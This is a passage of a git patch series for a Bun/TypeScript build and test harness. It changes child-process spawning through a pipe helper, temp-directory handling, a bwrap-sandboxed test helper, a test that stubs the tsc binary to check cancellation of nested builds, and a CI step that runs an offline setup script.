export async function runtimePackageBuild(root: string, directories: readonly st return ["", "", 0]; } hook.report("package-build", "admission", { disposition: "built", admissionMs }); - const build = Bun.spawn([process.execPath, "scripts/build.ts", "--for", directories.join(",")], - inheritWorkspaceLease({ cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe" })); + // A standalone hook need not have the preload's spawn adapter installed. + // The static entry requires real OS pipes rather than Bun's socket stdio. + const build = spawnEntry(Bun.spawn, Bun, false, + [process.execPath, "scripts/build.ts", "--for", directories.join(",")], + inheritWorkspaceLease({ cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe" })) as Bun.Subprocess<"ignore", "pipe", "pipe">; const result = await hook.child("package-build", build, consume); const resource = build.resourceUsage(); hook.report("package-build", "cost", { disposition: "built", childPid: build.pid, durationMs: performance.now() - started, diff --git a/scripts/offline-runner/pipes.ts b/scripts/offline-runner/pipes.ts index 1cedaa0ab4..92e9dc4655 100644 --- a/scripts/offline-runner/pipes.ts +++ b/scripts/offline-runner/pipes.ts @@ -2,6 +2,7 @@ import {dlopen,ptr} from "bun:ffi"; import {closeSync,fstatSync,mkdtempSync,openSync,readFileSync,rmSync,writeFileSync} from "node:fs"; import {join} from "node:path"; +import {tmpdir} from "node:os"; const api=dlopen("libc.so.6",{ pipe2:{args:["ptr","i32"],returns:"i32"}, fcntl:{args:["i32","i32","i32"],returns:"i32"}, @@ -22,7 +23,7 @@ type Options=Record; export function spawnEntry(native:Function,receiver:unknown,sync:boolean,command:string[],options:Options):unknown { const requested=Array.isArray(options.stdio)?options.stdio:[options.stdin??"ignore",options.stdout??"pipe",options.stderr??"inherit"]; if(sync){ - const folder=mkdtempSync("/tmp/odysseus-entry-stdio-");const descriptors:number[]=[]; + const folder=mkdtempSync(join(tmpdir(),"odysseus-entry-stdio-"));const descriptors:number[]=[]; try{ const stdio=requested.map((value,index)=>{ if(value===null)return "ignore"; diff --git a/tests/helpers/planning-control.ts b/tests/helpers/planning-control.ts index 8c3f5678fb..bc568379d4 100644 --- a/tests/helpers/planning-control.ts +++ b/tests/helpers/planning-control.ts @@ -38,7 +38,7 @@ export function bunControl(mode: string, dir: string, ...args: string[]): string } export function isolatedControl(mode: string, dir: string): string[] { return ["bwrap", "--unshare-user", "--unshare-pid", "--unshare-net", "--die-with-parent", "--new-session", - "--ro-bind", "/", "/", "--bind", dir, dir, "--proc", "/proc", "--dev", "/dev", "--cap-drop", "ALL", + "--ro-bind", "/", "/", "--bind", dir, dir, "--setenv", "TMPDIR", dir, "--proc", "/proc", "--dev", "/dev", "--cap-drop", "ALL", ...bunControl(mode, dir)]; } diff --git a/tests/test-invocation.test.ts b/tests/test-invocation.test.ts index bbf52fde31..2c52d40bf3 100644 --- a/tests/test-invocation.test.ts +++ b/tests/test-invocation.test.ts @@ -150,8 +150,10 @@ test("a cancelled nested wrapper build revokes the outer invocation's authority" write("probe.ts", consumerProbe + ` expect(invocationBuild(root,["ithaca"])).toBeDefined();expect(consume()).toBe(1); const compiler=readFileSync("node_modules/.bin/tsc","utf8"); -writeFileSync("node_modules/.bin/tsc",'#!'+process.execPath+'\\nimport {mkdirSync,writeFileSync} from "node:fs";mkdirSync("packages/ithaca/dist",{recursive:true});writeFileSync("packages/ithaca/dist/index.js","export const cargo = 2;\\\\n");writeFileSync("tmp/nested-partial","written");await Bun.sleep(30000);'); -const child=Bun.spawn([process.execPath,"run","test","--internal-full-preparation","nested.test.ts"],{stdout:"pipe",stderr:"pipe"}); +writeFileSync("node_modules/.bin/tsc",${JSON.stringify(String.raw`#!${process.execPath} +import {mkdirSync,writeFileSync} from "node:fs";mkdirSync("packages/ithaca/dist",{recursive:true});writeFileSync("packages/ithaca/dist/index.js","export const cargo = 2;\n");writeFileSync("tmp/nested-partial","written");await Bun.sleep(30000);`)}); +const {spawnEntry}=await import("./scripts/offline-runner/pipes"); +const child=spawnEntry(Bun.spawn,Bun,false,[process.execPath,"run","test","--internal-full-preparation","nested.test.ts"],{stdout:"pipe",stderr:"pipe"}); const output=Promise.all([new Response(child.stdout).text(),new Response(child.stderr).text()]); const end=Date.now()+10000;while(!require("fs").existsSync("tmp/nested-partial")&&Date.now() Date: Tue, 24 Nov 2026 08:47:39 +0000 Subject: [PATCH 187/187] ci: prepare the selected checkout before heavy proof entry --- scripts/ci-proof.ts | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/scripts/ci-proof.ts b/scripts/ci-proof.ts index 5d973cf369..299bf086ef 100644 --- a/scripts/ci-proof.ts +++ b/scripts/ci-proof.ts @@ -145,6 +145,12 @@ if (import.meta.main) { const root = resolve(import.meta.dir, ".."); const category = process.argv[2] as ProofCategory; if (!PROOF_CATEGORIES.includes(category)) throw new Error("Unknown proof category"); + // Heavy feedback can run the workflow from main against this checkout. + // Prepare from the selected checkout here as well as in workflow setup, + // before Chrome or any selected test command can start an interpreter. + if (process.env.GITHUB_ACTIONS === "true") await runCommands([ + { name: "prepare static offline proof entry", argv: ["bash", join(root, "scripts/ci-offline-setup.sh")] }, + ], root, 1); const args = process.argv.slice(3); const shardArg = args.find(arg => arg.startsWith("--shard=")); const workersArg = args.find(arg => arg.startsWith("--workers="));